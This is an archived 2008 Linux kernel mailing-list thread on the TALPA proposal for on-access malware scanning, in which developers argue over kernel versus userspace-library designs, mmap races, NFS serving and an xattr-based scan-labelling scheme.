> local application purposes or for transmission to another platform) or
> created.  

As I said, that does not work. Proposed solution blocked open, while
you'd have to block read() and you still could not handle mmap.
So sorry, no kernel solution can work.

> Also, a solution that requires applications to be modified will not
> work, because there is no way that we would be able to get ALL
> applications on the machines to be modified in the required ways.  If
> ANY applications are not so modified, then you have an unacceptable
> malware hole.  The only solution that really works is one that

So you make sure all apps are modified. Distros are good at that, and
modifications are not that hard.

Plus, proposed solution already has three unacceptable holes:

1) it only catches known signatures

2) write vs. read race mentioned above

3) mmap problem

. Making sure all apps use libmalware.so is trivial compared to
solving 3).

							Pavel
-- 
(english) http://www.livejournal.com/~pavelmachek
(cesky, pictures) http://atrey.karlin.mff.cuni.cz/~pavel/picture/horses/blog.html

Re: [malware-list] [RFC 0/5] [TALPA] Intro to a linuxinterfaceforon access scanning

[tvrtko.ursulin]

Pavel Machek wrote on 13/08/2008 13:56:38:

Big snip since I am really only curious about libmalware.so.

> Plus, proposed solution already has three unacceptable holes:
> 
> 1) it only catches known signatures
> 2) write vs. read race mentioned above

Discussions about perfect, better or no security are in danger of becoming 
boring.

> 3) mmap problem
> 
> . Making sure all apps use libmalware.so is trivial compared to
> solving 3).

You haven't answered what exactly is this libmalware.so, since you are the 
only one mentioning it? It would be interesting to learn how it solves the 
mmap problem, provides perfect security so it is acceptable, handles the 
kernel NFS server serving malicious files, caters for applications which 
do not use it, is better (more secure) than the kernel solution, provides 
reasonalbe performance and is easier to maintain for the community? To 
list only some of the requirements which have been mentioned so far.

--
Tvrtko A. Ursulin
Senior Software Engineer, Sophos

"Views and opinions expressed in this email are strictly those of the 
author.
 The contents has not been reviewed or approved by Sophos."


Sophos Plc, The Pentagon, Abingdon Science Park, Abingdon,
OX14 3YP, United Kingdom.

Company Reg No 2096520. VAT Reg No GB 348 3873 20.

Re: [malware-list] [RFC 0/5] [TALPA] Intro to a linuxinterfaceforon access scanning

[Pavel Machek]

Hi!

Okay, so goal of libmalware.so is to "not allow data in the black list
to pass through Linux server". Threat model is windows machines trying
to copy infected files through the server. Viruses are not expected to
have shell access to either root or normal users on the server.

> Big snip since I am really only curious about libmalware.so.
> 
> > Plus, proposed solution already has three unacceptable holes:
> > 
> > 1) it only catches known signatures
> > 2) write vs. read race mentioned above
> 
> Discussions about perfect, better or no security are in danger of becoming 
> boring.
> 
> > 3) mmap problem
> > 
> > . Making sure all apps use libmalware.so is trivial compared to
> > solving 3).
> 
> You haven't answered what exactly is this libmalware.so, since you are the 
> only one mentioning it? It would be interesting to learn how it solves the 
> mmap problem, provides perfect security so it is acceptable, handles the 
> kernel NFS server serving malicious files, caters for applications which 
> do not use it, is better (more secure) than the kernel solution, provides 
> reasonalbe performance and is easier to maintain for the community? To 
> list only some of the requirements which have been mentioned so far.

mmap problem: libmalware.so would not offer mmap() to applications (or
maybe it would do copy of the file, then allow mmap on the copy).

kernel NFS server is not handled; don't use it for serving Windows
clients. Not that you need performance for that, anyway.

Obviously libmalware.so will not help applications not using it. With
distributions, that's not a problem.

Unlike kernel solution, it does not contain races with read/write/mmap
-- untrusted files access is made through methods that can be safe.

You can query helper daemon for cache info; that should provide good
enough performance.

I never claimed it is easier to maintain than kernel solution; but
unlike kernel solution it actually _works_, 100% of time, for apps
using it.
								Pavel
-- 
(english) http://www.livejournal.com/~pavelmachek
(cesky, pictures) http://atrey.karlin.mff.cuni.cz/~pavel/picture/horses/blog.html

RE: [malware-list] [RFC 0/5] [TALPA] Intro to alinuxinterfaceforon access scanning

[Press, Jonathan]

> -----Original Message-----
> From: Pavel Machek [mailto:pavel@suse.cz]
> Sent: Thursday, August 14, 2008 8:54 AM
> To: tvrtko.ursulin@sophos.com
> Cc: Arjan van de Ven; Adrian Bunk; davecb@sun.com; Greg KH; Press,
Jonathan;
> linux-kernel@vger.kernel.org; linux-security-module@vger.kernel.org;
malware-
> list@lists.printk.net; Mihai Don??u
> Subject: Re: [malware-list] [RFC 0/5] [TALPA] Intro to
alinuxinterfaceforon access
> scanning
> 
> Hi!
> 
> Okay, so goal of libmalware.so is to "not allow data in the black list
> to pass through Linux server". Threat model is windows machines trying
> to copy infected files through the server. 

That's only part of the threat model.

> Viruses are not expected to have shell access to either root or normal

> users on the server.

That's a big exception.


> it actually _works_, 100% of time, for apps using it.

Again that's a big condition.


Jon Press

Re: [malware-list] [RFC 0/5] [TALPA] Intro to alinuxinterfaceforon access scanning

[Pavel Machek]

Hi!

> > Okay, so goal of libmalware.so is to "not allow data in the black list
> > to pass through Linux server". Threat model is windows machines trying
> > to copy infected files through the server. 
> 
> That's only part of the threat model.

Yes, that's the part libmalware.so proposal solves. Given scary number
of 0 Linux viruses in wild, it seems to solve the problem pretty well.

> > it actually _works_, 100% of time, for apps using it.
> 
> Again that's a big condition.

Yep, so... why don't you propose something better? I'm pretty sure
100% reliable scanning is impossible without modifying applications,
but hey, you can prove me wrong.
									Pavel
-- 
(english) http://www.livejournal.com/~pavelmachek
(cesky, pictures) http://atrey.karlin.mff.cuni.cz/~pavel/picture/horses/blog.html

Re: [malware-list] [RFC 0/5] [TALPA] Intro to alinuxinterfaceforon access scanning

[Rik van Riel]

On Fri, 15 Aug 2008 00:39:18 +0200
Pavel Machek <pavel@suse.cz> wrote:

> > > Okay, so goal of libmalware.so is to "not allow data in the black list
> > > to pass through Linux server". Threat model is windows machines trying
> > > to copy infected files through the server. 
> > 
> > That's only part of the threat model.
> 
> Yes, that's the part libmalware.so proposal solves. Given scary number
> of 0 Linux viruses in wild, it seems to solve the problem pretty well.

If you're trolling, you're not being very good at it.

Just because you cannot easily infect a Linux system from a
user application does not mean malware cannot do all kinds
of damage with user privileges.  Think of a key sniffer (using
the same interface that the X screensavers use) or a spam bot
running with user privileges.

Firefox, OpenOffice.org and other (mostly desktop) programs are 
extremely large and complex, deal with untrusted data on a daily
basis and could be used to spread worms and get malware onto systems.

The old DOS model of "you need to infect system binaries" is not
a good description of how today's malware works.  Malware is not
there to infect a system "as much as possible", but to accomplish
actual malice.

Consequently, the number of acceptable attack vectors on a system
is pretty large and we should protect against these kinds of
programs.

It would be good to get this additional layer of protection against
malware in place, before people start developing Linux malware.

-- 
All rights reversed.

Re: [malware-list] [RFC 0/5] [TALPA] Intro to alinuxinterfaceforon access scanning

[Theodore Tso]

On Thu, Aug 14, 2008 at 08:00:05PM -0400, Rik van Riel wrote:
> > Yes, that's the part libmalware.so proposal solves. Given scary number
> > of 0 Linux viruses in wild, it seems to solve the problem pretty well.
> 
> If you're trolling, you're not being very good at it.
> 
> Just because you cannot easily infect a Linux system from a
> user application does not mean malware cannot do all kinds
> of damage with user privileges.  Think of a key sniffer (using
> the same interface that the X screensavers use) or a spam bot
> running with user privileges.

But Pavel is raising a good question.  In Eric's proposed threat
model, he claimed the only thing that he was trying to solve was
"scanning".  Just file scanning.  That implies no root privileges, but
it also implied that he wasn't worried about malware running with user
privileges, either.  Presumbly, that would be caught and stopped by
the file scanner before the malware had a chance to run; that is the
execve(2) system call would also be blocked until the executable was
scanned.

So if that is the threat model, then the only thing libmalware.so
doesn't solve is knfsd access, and it should be evaluated on that
basis.  If the threat model *does* include malware which is **not**
caught by the AV scanner, and is running with user privileges, then
there are a whole host of other attacks that we have to worry about.
So let's be real clear, up front, what the threat model is, and avoid
changing the model around to rule out solutions that don't fit the
initially preconceived one.  That's how you get to the TSA
confiscating water bottles in airport security lines.

	     	   	      	      	       - Ted

Re: [malware-list] [RFC 0/5] [TALPA] Intro to alinuxinterfaceforon access scanning

[Rik van Riel]

On Thu, 14 Aug 2008 20:43:35 -0400
Theodore Tso <tytso@mit.edu> wrote:

> But Pavel is raising a good question.  In Eric's proposed threat
> model, he claimed the only thing that he was trying to solve was
> "scanning".  Just file scanning.  That implies no root privileges, but
> it also implied that he wasn't worried about malware running with user
> privileges, either.  Presumbly, that would be caught and stopped by
> the file scanner before the malware had a chance to run;

You bring up a very good point - malware does not need to
be stored on a filesystem in order to run or cause damage.

-- 
All rights reversed.

Re: [malware-list] [RFC 0/5] [TALPA] Intro to alinuxinterfaceforon access scanning

[Eric Paris]

On Thu, 2008-08-14 at 20:43 -0400, Theodore Tso wrote:
> On Thu, Aug 14, 2008 at 08:00:05PM -0400, Rik van Riel wrote:
> > > Yes, that's the part libmalware.so proposal solves. Given scary number
> > > of 0 Linux viruses in wild, it seems to solve the problem pretty well.
> > 
> > If you're trolling, you're not being very good at it.
> > 
> > Just because you cannot easily infect a Linux system from a
> > user application does not mean malware cannot do all kinds
> > of damage with user privileges.  Think of a key sniffer (using
> > the same interface that the X screensavers use) or a spam bot
> > running with user privileges.
> 
> But Pavel is raising a good question.  In Eric's proposed threat
> model, he claimed the only thing that he was trying to solve was
> "scanning".  Just file scanning.  That implies no root privileges, but
> it also implied that he wasn't worried about malware running with user
> privileges, either.  Presumbly, that would be caught and stopped by
> the file scanner before the malware had a chance to run; that is the
> execve(2) system call would also be blocked until the executable was
> scanned.
> 
> So if that is the threat model, then the only thing libmalware.so
> doesn't solve is knfsd access, and it should be evaluated on that
> basis.  If the threat model *does* include malware which is **not**
> caught by the AV scanner, and is running with user privileges, then
> there are a whole host of other attacks that we have to worry about.
> So let's be real clear, up front, what the threat model is, and avoid
> changing the model around to rule out solutions that don't fit the
> initially preconceived one.  That's how you get to the TSA
> confiscating water bottles in airport security lines.

No, I'm not claiming to protect against running processes.  I'll leave
that for SELinux.

I haven't seen this supposed libmalware.so so take anything I say with a
grain of sand.  But I take it that the solutions to the problems are
'don't do that.'

aka malware is allowed to flow freely across linux nfs servers.  Great,
I'm sure corperate IT organizations are going to love knowing there
isn't a darn thing they can do to protect their nfs server from being
storage grounds other than hope they can control all of the border.

And I still don't get this 'mmap problem' that I don't solve that
libmalware magically solves.  What?  don't use mmap?  I certainly hope
not.

Are we seriously considering that the right thing to do is to try to
push malware scanning to every project on sourceforge?  At least putting
a solution inside glibc wasn't completely insane, I just think for
numerous reasons we've seen on list for the last 2 weeks not a better
idea.  In any case, having an application have to make special calls to
handle 'untrusted' data is basically like turning the keys to the castle
over on every exploit.  No, I might not make promises about subverted
applications, but that doesn't mean I have to just open all the doors.
And anything that requires explicit application help is just that.  Talk
about theater.

-Eric

Re: [malware-list] [RFC 0/5] [TALPA] Intro to alinuxinterfaceforon access scanning

[david]

On Thu, 14 Aug 2008, Eric Paris wrote:

>> But Pavel is raising a good question.  In Eric's proposed threat
>> model, he claimed the only thing that he was trying to solve was
>> "scanning".  Just file scanning.  That implies no root privileges, but
>> it also implied that he wasn't worried about malware running with user
>> privileges, either.  Presumbly, that would be caught and stopped by
>> the file scanner before the malware had a chance to run; that is the
>> execve(2) system call would also be blocked until the executable was
>> scanned.
>>
>> So if that is the threat model, then the only thing libmalware.so
>> doesn't solve is knfsd access, and it should be evaluated on that
>> basis.  If the threat model *does* include malware which is **not**
>> caught by the AV scanner, and is running with user privileges, then
>> there are a whole host of other attacks that we have to worry about.
>> So let's be real clear, up front, what the threat model is, and avoid
>> changing the model around to rule out solutions that don't fit the
>> initially preconceived one.  That's how you get to the TSA
>> confiscating water bottles in airport security lines.
>
> No, I'm not claiming to protect against running processes.  I'll leave
> that for SELinux.
>
> I haven't seen this supposed libmalware.so so take anything I say with a
> grain of sand.  But I take it that the solutions to the problems are
> 'don't do that.'

libmalware.so is shorthand for 'have a userspace library do the scanning 
and handle the open'

> aka malware is allowed to flow freely across linux nfs servers.  Great,
> I'm sure corperate IT organizations are going to love knowing there
> isn't a darn thing they can do to protect their nfs server from being
> storage grounds other than hope they can control all of the border.

nfs isn't secure anyway so you better control the border.

it's only the kernel nfs daemon that won't use the library, so the answer 
is don't use that daemon. I beleive that there is a FUSE NFS option, or if 
nothing else, mount a filesystem with FUSE (linked against libmalware.so) 
and then export the result vi knfsd.

> And I still don't get this 'mmap problem' that I don't solve that
> libmalware magically solves.  What?  don't use mmap?  I certainly hope
> not.

libmalware can intercept the mmap call and decide to either prohibit it, 
copy the file so that the program is operating from it's own copy, or do 
something else (all dependant on policy, as defined in userspace for this 
library)

> Are we seriously considering that the right thing to do is to try to
> push malware scanning to every project on sourceforge?  At least putting
> a solution inside glibc wasn't completely insane, I just think for
> numerous reasons we've seen on list for the last 2 weeks not a better
> idea.  In any case, having an application have to make special calls to
> handle 'untrusted' data is basically like turning the keys to the castle
> over on every exploit.  No, I might not make promises about subverted
> applications, but that doesn't mean I have to just open all the doors.
> And anything that requires explicit application help is just that.  Talk
> about theater.

libmalware.so and a modified glibc are not mutually exclusive. you distros 
could offer versions of glibc that include libmalware.

again, libmalware.so is not referring to any specific body of code, it's 
referring to the concept that the handling of open/mmap/read/etc and 
scanning is done via a userspace library rather then by the kernel. if 
everyone can agree on that concept then hashing out the details of _which_ 
library it gets put in is a smaller detail.

this isn't designed to require every app that wants this protection to 
have to change it's code.

David lang

Re: [malware-list] [RFC 0/5] [TALPA] Intro to alinuxinterfaceforon access scanning

[david]

On Thu, 14 Aug 2008, david@lang.hm wrote:

> again, libmalware.so is not referring to any specific body of code, it's 
> referring to the concept that the handling of open/mmap/read/etc and scanning 
> is done via a userspace library rather then by the kernel. if everyone can 
> agree on that concept then hashing out the details of _which_ library it gets 
> put in is a smaller detail.

one reason to layer scanners is that you could have one that just checks 
to see if the file was deployed from a OS package, if it was (and still 
has the same hash as the package manager thinks it should have) it sets a 
flag that other scanners could look for (if they see it they can skip 
scanning the file)

David Lang

Re: [malware-list] [RFC 0/5] [TALPA] Intro to alinuxinterfaceforon access scanning

[david]

On Thu, 14 Aug 2008, david@lang.hm wrote:

> On Thu, 14 Aug 2008, david@lang.hm wrote:
>
>> again, libmalware.so is not referring to any specific body of code, it's 
>> referring to the concept that the handling of open/mmap/read/etc and 
>> scanning is done via a userspace library rather then by the kernel. if 
>> everyone can agree on that concept then hashing out the details of _which_ 
>> library it gets put in is a smaller detail.
>
> one reason to layer scanners is that you could have one that just checks to 
> see if the file was deployed from a OS package, if it was (and still has the 
> same hash as the package manager thinks it should have) it sets a flag that 
> other scanners could look for (if they see it they can skip scanning the 
> file)

actually, instead of trying to have one scanner trust the results of 
another, a better approach would be for libmalware to look for the package 
manager approval and if it finds that it could skip asking the other 
scanners to look at it.

this sort of thing can easily be done in userspace libraries, but you 
definantly would _not_ want to do in a kernel-level enforcement mechanism.

David Lang

Re: [malware-list] [RFC 0/5] [TALPA] Intro to alinuxinterfaceforon access scanning

[Pavel Machek]

> On Thu, 14 Aug 2008, Eric Paris wrote:
> 
> >>But Pavel is raising a good question.  In Eric's proposed threat
> >>model, he claimed the only thing that he was trying to solve was
> >>"scanning".  Just file scanning.  That implies no root privileges, but
> >>it also implied that he wasn't worried about malware running with user
> >>privileges, either.  Presumbly, that would be caught and stopped by
> >>the file scanner before the malware had a chance to run; that is the
> >>execve(2) system call would also be blocked until the executable was
> >>scanned.
> >>
> >>So if that is the threat model, then the only thing libmalware.so
> >>doesn't solve is knfsd access, and it should be evaluated on that
> >>basis.  If the threat model *does* include malware which is **not**
> >>caught by the AV scanner, and is running with user privileges, then
> >>there are a whole host of other attacks that we have to worry about.
> >>So let's be real clear, up front, what the threat model is, and avoid
> >>changing the model around to rule out solutions that don't fit the
> >>initially preconceived one.  That's how you get to the TSA
> >>confiscating water bottles in airport security lines.
> >
> >No, I'm not claiming to protect against running processes.  I'll leave
> >that for SELinux.
> >
> >I haven't seen this supposed libmalware.so so take anything I say with a
> >grain of sand.  But I take it that the solutions to the problems are
> >'don't do that.'
> 
> libmalware.so is shorthand for 'have a userspace library do the scanning 
> and handle the open'

(snip). Agreed, you explained it better than I would.
								Pavel

-- 
(english) http://www.livejournal.com/~pavelmachek
(cesky, pictures) http://atrey.karlin.mff.cuni.cz/~pavel/picture/horses/blog.html

Re: [malware-list] [RFC 0/5] [TALPA] Intro to alinuxinterfaceforon access scanning

[Pavel Machek]

Hi!

> And I still don't get this 'mmap problem' that I don't solve that
> libmalware magically solves.  What?  don't use mmap?  I certainly hope
> not.

Don't use mmap, it is as simple as that. AFAICS mmap(MAP_SHARED) --
which is basically shared memory -- is fundamentally incompatible with
reliable virus scanning.

...or do you have a reasonable solution for mmap?
									Pavel
-- 
(english) http://www.livejournal.com/~pavelmachek
(cesky, pictures) http://atrey.karlin.mff.cuni.cz/~pavel/picture/horses/blog.html

Re: [malware-list] [RFC 0/5] [TALPA] Intro to alinuxinterfaceforon access scanning

[david]

On Mon, 18 Aug 2008, Pavel Machek wrote:

> Hi!
>
>> And I still don't get this 'mmap problem' that I don't solve that
>> libmalware magically solves.  What?  don't use mmap?  I certainly hope
>> not.
>
> Don't use mmap, it is as simple as that. AFAICS mmap(MAP_SHARED) --
> which is basically shared memory -- is fundamentally incompatible with
> reliable virus scanning.
>
> ...or do you have a reasonable solution for mmap?


mmap has a few different problems

1. intercepting reads and writes to take action at that time

2. the fact that two programs can use it as an inter-process communication 
mechanism.

if you are worried about the IPC aspects, all you can do is forbid it, 
along with shared memory, pipes, network connections, etc. none of these 
provide you with a 'final result' that can be scanned, and as others have 
pointed out there are too many ways to do things that get assembled by the 
far side to try and catch all malware in them.

as for intercepting reads and writes. the approach I outlined addresses 
this by having the kernel mark thefile as dirty if any writes happen, and 
checking the file status at the time of doing the mmap instead of trying 
to do it when the file is accessed after the mmap.

David Lang

Re: [malware-list] [RFC 0/5] [TALPA] Intro to alinuxinterfaceforon access scanning

[Pavel Machek]

Hi!

> >>And I still don't get this 'mmap problem' that I don't solve that
> >>libmalware magically solves.  What?  don't use mmap?  I certainly hope
> >>not.
> >
> >Don't use mmap, it is as simple as that. AFAICS mmap(MAP_SHARED) --
> >which is basically shared memory -- is fundamentally incompatible with
> >reliable virus scanning.
> >
> >...or do you have a reasonable solution for mmap?
> 
> 
> mmap has a few different problems
> 
> 1. intercepting reads and writes to take action at that time
> 
> 2. the fact that two programs can use it as an inter-process communication 
> mechanism.

...can and will use it as an IPC. So we need to modify some
applications.

Rather than modify all the applications using mmap (you can't tell if
the other side is going to use it for shared memory... right?), we
could simply modify all the Windows-facing applications using mmap.

> if you are worried about the IPC aspects, all you can do is forbid it, 

Can you automatically tell if applications are using mmap for IPC?

BTW in another mail you wanted to include /var/log/syslog from
scanning. You should not be doing that if syslog is exported to
Windows systems. Of course, you can get away with scanning syslog when
Windows client tries to read it, which should be acceptable...
									Pavel
-- 
(english) http://www.livejournal.com/~pavelmachek
(cesky, pictures) http://atrey.karlin.mff.cuni.cz/~pavel/picture/horses/blog.html

Re: [malware-list] [RFC 0/5] [TALPA] Intro to alinuxinterfaceforon access scanning

[david]

On Mon, 18 Aug 2008, Pavel Machek wrote:

>>>> And I still don't get this 'mmap problem' that I don't solve that
>>>> libmalware magically solves.  What?  don't use mmap?  I certainly hope
>>>> not.
>>>
>>> Don't use mmap, it is as simple as that. AFAICS mmap(MAP_SHARED) --
>>> which is basically shared memory -- is fundamentally incompatible with
>>> reliable virus scanning.
>>>
>>> ...or do you have a reasonable solution for mmap?
>>
>>
>> mmap has a few different problems
>>
>> 1. intercepting reads and writes to take action at that time
>>
>> 2. the fact that two programs can use it as an inter-process communication
>> mechanism.
>
> ...can and will use it as an IPC. So we need to modify some
> applications.
>
> Rather than modify all the applications using mmap (you can't tell if
> the other side is going to use it for shared memory... right?), we
> could simply modify all the Windows-facing applications using mmap.
>
>> if you are worried about the IPC aspects, all you can do is forbid it,
>
> Can you automatically tell if applications are using mmap for IPC?

no, but can you tell at the time of the mmap command if anyone has it 
opened for writing? if you can then you can just not allow the mmap in 
thid case (policy decision by userspace, as such it can try to look at 
what other programs are accessing it via mmap to decide if it should allow 
it or not)

> BTW in another mail you wanted to include /var/log/syslog from
> scanning. You should not be doing that if syslog is exported to
> Windows systems. Of course, you can get away with scanning syslog when
> Windows client tries to read it, which should be acceptable...

I listed that as an example of what I would consider a sane policy. by 
doing the checking is a userspace library different binaries can be linked 
against different libraries by the sysadmin/distro to decide which ones 
need to do what checking. there's nothing inherent in the mechanism that 
foces the policy in any direction.

David Lang

Re: [malware-list] [RFC 0/5] [TALPA] Intro to alinuxinterfaceforon access scanning

[Casey Schaufler]

Pavel Machek wrote:
> Hi!
>
>   
>>>> And I still don't get this 'mmap problem' that I don't solve that
>>>> libmalware magically solves.  What?  don't use mmap?  I certainly hope
>>>> not.
>>>>         
>>> Don't use mmap, it is as simple as that. AFAICS mmap(MAP_SHARED) --
>>> which is basically shared memory -- is fundamentally incompatible with
>>> reliable virus scanning.
>>>
>>> ...or do you have a reasonable solution for mmap?
>>>       
>> mmap has a few different problems
>>
>> 1. intercepting reads and writes to take action at that time
>>
>> 2. the fact that two programs can use it as an inter-process communication 
>> mechanism.
>>     
>
> ...can and will use it as an IPC. So we need to modify some
> applications.
>
> Rather than modify all the applications using mmap (you can't tell if
> the other side is going to use it for shared memory... right?), we
> could simply modify all the Windows-facing applications using mmap.
>
>   
>> if you are worried about the IPC aspects, all you can do is forbid it, 
>>     
>
> Can you automatically tell if applications are using mmap for IPC?
>
> BTW in another mail you wanted to include /var/log/syslog from
> scanning. You should not be doing that if syslog is exported to
> Windows systems. Of course, you can get away with scanning syslog when
> Windows client tries to read it, which should be acceptable...
> 									Pavel
>   

There is a solution to this whole scanning thing, but I've been
reluctant to suggest it, and it will be pretty obvious why y'all
probably don't want to try it. Just to be sure the options are
out on the table, here goes.

Define an xattr, let's call it "UNSCANNED", which has as its value
a timestamp. A regular file with this attribute cannot be executed
or opened,(exec or open hangs or fails, either behavior has merit
and downsides) and it requires privilege (perhaps CAP_MAC_ADMIN)
to remove the attribute. File creation attaches the attribute. Any
open for write attaches the attribute.

Your scanner runs with privilege (say CAP_MAC_OVERRIDE) and passes
judgment on files with this attribute, removing either the file, if
it is Evil, or the attribute, if it is Good. The scanner is invoked
when a file that was open with write access is closed. This can be
done using mechanisms already discussed on this thread.

If you like, you could use a "SCANNED" attribute instead of an
"UNSCANNED" attribute, and reverse the sense of the test. The
major difference will show up on filesystems that don't support
xattrs. The implications should be obvious.

Now at the beginning I said that you wouldn't like this scheme,
and it shouldn't take a security expert to see the usability problems.
This is how an old school trusted systems junkie (like me) would do
it, and I don't see a better way that would actually achieve the
stated goals. If you wanted you could implement an LSM to do the
labeling bit in a day or two, the notification in about the same
time, which would leave the scanner as the long pole in your
development schedule.

P.S. - Library based security doesn't work.

Re: [malware-list] [RFC 0/5] [TALPA] Intro to alinuxinterfaceforon access scanning

[david]

On Sun, 17 Aug 2008, Casey Schaufler wrote:

> Pavel Machek wrote:
>>>>> And I still don't get this 'mmap problem' that I don't solve that
>>>>> libmalware magically solves.  What?  don't use mmap?  I certainly hope
>>>>> not.
>>>>> 
>>>> Don't use mmap, it is as simple as that. AFAICS mmap(MAP_SHARED) --
>>>> which is basically shared memory -- is fundamentally incompatible with
>>>> reliable virus scanning.
>>>> 
>>>> ...or do you have a reasonable solution for mmap?
>>>> 
>>> mmap has a few different problems
>>> 
>>> 1. intercepting reads and writes to take action at that time
>>> 
>>> 2. the fact that two programs can use it as an inter-process communication 
>>> mechanism.
>>> 
>> 
>> ...can and will use it as an IPC. So we need to modify some
>> applications.
>> 
>> Rather than modify all the applications using mmap (you can't tell if
>> the other side is going to use it for shared memory... right?), we
>> could simply modify all the Windows-facing applications using mmap.
>>
>> 
>>> if you are worried about the IPC aspects, all you can do is forbid it, 
>> 
>> Can you automatically tell if applications are using mmap for IPC?
>> 
>> BTW in another mail you wanted to include /var/log/syslog from
>> scanning. You should not be doing that if syslog is exported to
>> Windows systems. Of course, you can get away with scanning syslog when
>> Windows client tries to read it, which should be acceptable...
>> 									Pavel
>> 
>
> There is a solution to this whole scanning thing, but I've been
> reluctant to suggest it, and it will be pretty obvious why y'all
> probably don't want to try it. Just to be sure the options are
> out on the table, here goes.
>
> Define an xattr, let's call it "UNSCANNED", which has as its value
> a timestamp. A regular file with this attribute cannot be executed
> or opened,(exec or open hangs or fails, either behavior has merit
> and downsides) and it requires privilege (perhaps CAP_MAC_ADMIN)
> to remove the attribute. File creation attaches the attribute. Any
> open for write attaches the attribute.
>
> Your scanner runs with privilege (say CAP_MAC_OVERRIDE) and passes
> judgment on files with this attribute, removing either the file, if
> it is Evil, or the attribute, if it is Good. The scanner is invoked
> when a file that was open with write access is closed. This can be
> done using mechanisms already discussed on this thread.
>
> If you like, you could use a "SCANNED" attribute instead of an
> "UNSCANNED" attribute, and reverse the sense of the test. The
> major difference will show up on filesystems that don't support
> xattrs. The implications should be obvious.
>
> Now at the beginning I said that you wouldn't like this scheme,
> and it shouldn't take a security expert to see the usability problems.
> This is how an old school trusted systems junkie (like me) would do
> it, and I don't see a better way that would actually achieve the
> stated goals. If you wanted you could implement an LSM to do the
> labeling bit in a day or two, the notification in about the same
> time, which would leave the scanner as the long pole in your
> development schedule.

did you read the proposal I wrote up? it's similar to (but more flexible 
than) what you are saying

it would allow for multiple 'scanned' tags (to allow for multiple scanning 
programs). the kernel would clear the tags when the file is dirtied (not 
when it is closed, the file may not be closed for weeks after all), there 
is a mechanism to tell the scanner(s) that a file was modified (rather 
then having to scan the entire filesystem), and if the scan was not done 
yet when a file is opened the scanner(s) can be invoked at that time.

> P.S. - Library based security doesn't work.

why not? (with the appropriate kernel support)

it actually wouldn't be hard to have the kernel check the xattr, what 
would be hard is hving the kernel know when it should then invoke the 
scanner(s) and when it shouldn't. This is a policy decision that doesn't 
belong in the kernel.

David Lang

Re: [malware-list] [RFC 0/5] [TALPA] Intro to alinuxinterfaceforon access scanning

[Peter Dolding]

On Mon, Aug 18, 2008 at 10:17 AM,  <david@lang.hm> wrote:
> On Sun, 17 Aug 2008, Casey Schaufler wrote:
>
>> Pavel Machek wrote:
>>>>>>
>>>>>> And I still don't get this 'mmap problem' that I don't solve that
>>>>>> libmalware magically solves.  What?  don't use mmap?  I certainly hope
>>>>>> not.
>>>>>>
>>>>> Don't use mmap, it is as simple as that. AFAICS mmap(MAP_SHARED) --
>>>>> which is basically shared memory -- is fundamentally incompatible with
>>>>> reliable virus scanning.
>>>>>
>>>>> ...or do you have a reasonable solution for mmap?
>>>>>
>>>> mmap has a few different problems
>>>>
>>>> 1. intercepting reads and writes to take action at that time
>>>>
>>>> 2. the fact that two programs can use it as an inter-process
>>>> communication mechanism.
>>>>
>>>
>>> ...can and will use it as an IPC. So we need to modify some
>>> applications.
>>>
>>> Rather than modify all the applications using mmap (you can't tell if
>>> the other side is going to use it for shared memory... right?), we
>>> could simply modify all the Windows-facing applications using mmap.
>>>
>>>
>>>> if you are worried about the IPC aspects, all you can do is forbid it,
>>>
>>> Can you automatically tell if applications are using mmap for IPC?
>>>
>>> BTW in another mail you wanted to include /var/log/syslog from
>>> scanning. You should not be doing that if syslog is exported to
>>> Windows systems. Of course, you can get away with scanning syslog when
>>> Windows client tries to read it, which should be acceptable...
>>>
>>>  Pavel
>>>
>>
>> There is a solution to this whole scanning thing, but I've been
>> reluctant to suggest it, and it will be pretty obvious why y'all
>> probably don't want to try it. Just to be sure the options are
>> out on the table, here goes.
>>
>> Define an xattr, let's call it "UNSCANNED", which has as its value
>> a timestamp. A regular file with this attribute cannot be executed
>> or opened,(exec or open hangs or fails, either behavior has merit
>> and downsides) and it requires privilege (perhaps CAP_MAC_ADMIN)
>> to remove the attribute. File creation attaches the attribute. Any
>> open for write attaches the attribute.
>>
>> Your scanner runs with privilege (say CAP_MAC_OVERRIDE) and passes
>> judgment on files with this attribute, removing either the file, if
>> it is Evil, or the attribute, if it is Good. The scanner is invoked
>> when a file that was open with write access is closed. This can be
>> done using mechanisms already discussed on this thread.
>>
>> If you like, you could use a "SCANNED" attribute instead of an
>> "UNSCANNED" attribute, and reverse the sense of the test. The
>> major difference will show up on filesystems that don't support
>> xattrs. The implications should be obvious.
>>
>> Now at the beginning I said that you wouldn't like this scheme,
>> and it shouldn't take a security expert to see the usability problems.
>> This is how an old school trusted systems junkie (like me) would do
>> it, and I don't see a better way that would actually achieve the
>> stated goals. If you wanted you could implement an LSM to do the
>> labeling bit in a day or two, the notification in about the same
>> time, which would leave the scanner as the long pole in your
>> development schedule.
>
> did you read the proposal I wrote up? it's similar to (but more flexible
> than) what you are saying
>
> it would allow for multiple 'scanned' tags (to allow for multiple scanning
> programs). the kernel would clear the tags when the file is dirtied (not
> when it is closed, the file may not be closed for weeks after all), there is
> a mechanism to tell the scanner(s) that a file was modified (rather then
> having to scan the entire filesystem), and if the scan was not done yet when
> a file is opened the scanner(s) can be invoked at that time.
>
>> P.S. - Library based security doesn't work.
>
> why not? (with the appropriate kernel support)
>
> it actually wouldn't be hard to have the kernel check the xattr, what would
> be hard is hving the kernel know when it should then invoke the scanner(s)
> and when it shouldn't. This is a policy decision that doesn't belong in the
> kernel.
>
Because of syscalls  and you don't need to use LD.so to run a program.

Programs can embed there own LD.so and avoid using the system core
one.   This kind of function is being developed for LSB applications
for platforms that don't support LSB.

syscalls you can run programs by passing all .so files and directly
talk to kernel.

Two aways around LD Preloads there are a few more.

Peter Dolding

Re: [malware-list] [RFC 0/5] [TALPA] Intro to alinuxinterfaceforon access scanning

[david]

On Mon, 18 Aug 2008, Peter Dolding wrote:

> On Mon, Aug 18, 2008 at 10:17 AM,  <david@lang.hm> wrote:
>> On Sun, 17 Aug 2008, Casey Schaufler wrote:
>>
>>> Pavel Machek wrote:
>>>>>>>
>>>>>>> And I still don't get this 'mmap problem' that I don't solve that
>>>>>>> libmalware magically solves.  What?  don't use mmap?  I certainly hope
>>>>>>> not.
>>>>>>>
>>>>>> Don't use mmap, it is as simple as that. AFAICS mmap(MAP_SHARED) --
>>>>>> which is basically shared memory -- is fundamentally incompatible with
>>>>>> reliable virus scanning.
>>>>>>
>>>>>> ...or do you have a reasonable solution for mmap?
>>>>>>
>>>>> mmap has a few different problems
>>>>>
>>>>> 1. intercepting reads and writes to take action at that time
>>>>>
